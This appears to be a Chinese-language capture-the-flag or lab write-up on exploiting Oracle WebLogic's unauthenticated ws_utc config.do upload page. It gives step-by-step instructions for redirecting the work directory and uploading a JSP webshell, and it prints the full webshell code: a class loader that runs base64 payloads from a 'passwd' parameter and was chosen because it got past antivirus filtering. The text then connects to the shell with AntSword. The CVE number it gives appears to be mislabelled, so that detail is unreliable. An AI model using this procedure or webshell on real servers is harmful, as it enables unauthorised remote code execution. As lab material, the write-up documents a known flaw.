漏洞简介:
CVE-2020-2894是基于JavaEE结构的中间件WebLogic产品的一个远程上传漏洞,WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do;
漏洞详情:
在靶场机的目录下,将默认的目录WSTestPageWorkDir修改了为 user_projectsdomainsbase_domaintmpsd
工作台设置一个新的目录后,weblogic会将原来目录下的子目录和文件一起转移到新设定的目录下,但旧的目录依然保留。当我们在配置工作目录之后,都会考虑上传文件,但是默认的URL无法访问到工作目录,那么就要考虑从config.do或者从begin.do上传,且结果是都可以成功
影响范围:
漏洞的影响范围 Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。
利用流程:
打开漏洞环境,确定靶场环境完全开启
访问:http://123.58.236.76:50672/console 确定环境已启动完毕
访问:http://123.58.236.76:50672/ws_utc/config.do
进行设置修改提交shell脚本
点击通用修改Work Home Dir为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css 修改完成点击提交
再点击安全,增加
设置名字密码,进行随意设置,上传jsp的shell脚本文件,第一次我上传的是冰蝎自带的jsp脚本,提交之后并不显示,抓包查看发现被过滤了,识别为病毒文件
又换了一个jsp代码如图:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
这边不知道过滤的是哪些东西,但是这个上传成功就对了,成功之后是这个样子
查看元素,确定访问链接为http://123.58.236.76:20206/ws_utc/css/config/keystore/1655967426521_poc.jsp
蚁剑连接,密码为passwd,
连接成功,flag在上级目录下的tmp文件夹下面



